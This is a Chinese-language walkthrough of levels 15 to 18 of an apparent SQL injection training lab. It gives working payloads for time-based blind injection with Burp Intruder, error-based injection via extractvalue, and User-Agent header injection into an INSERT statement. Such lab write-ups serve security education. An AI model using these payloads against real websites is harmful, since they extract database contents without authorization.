第十五关:
利用时间盲注
拦截并放到intruder里
请求的参数替换或改写一下
uname=1' OR IF(SUBSTRING((SELECT database()), 2, 1)='e', sleep(1), 1) -- &passwd=1&submit=Submit
payload1设置
payload2设置(点击从列表中添加可快速找到a到z的列表)
开始攻击!(用明显响应时间长的数据排序得到库名)
第十六关:
本关我们的处理方法和 less15 是一样的,同样的使用延时注入的方法进行解决。这里直接从 源代码中看到对 id 进行 (“id”)的处理。(请自行测试)
提交的 payload:
uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Sub
mit
正确的时候可以直接登录,不正确的时候延时 5 秒。
其他的 payload 自行构造。
第十七关
输入 admin 和 1’ 有如下显示:
输入 admin 和 11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&sub
mit=Submit 有如下显示:
将@@version 换成我们的句子就可以进行其他的注入了。
当然了,也可以用延时注入,也可以看到时间的延迟的明显效果
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit
第十八关:
直接查看源代码:
对 uname 和 passwd 进行了 check_input()函数的处理,所以我们在输入 uname 和 passwd 上 进行注入是不行的,但是在代码中,我们看到了 insert() $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
将 useragent 和 ip 插入到数据库中,那么我们是不是可以用这个来进行注入呢?
Ip 地址我们这里修改不是很方便,但是 useragent 修改较为方便,我们从 useragent 入手
我们利用 live http headers 进行抓包改包
从上图可以看到,修改 user-agent 后的在前台显示 user-agent 已经为修改后的了。
那我们将 user-agent 修改为注入语句呢?
将 user-agent 修改为'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1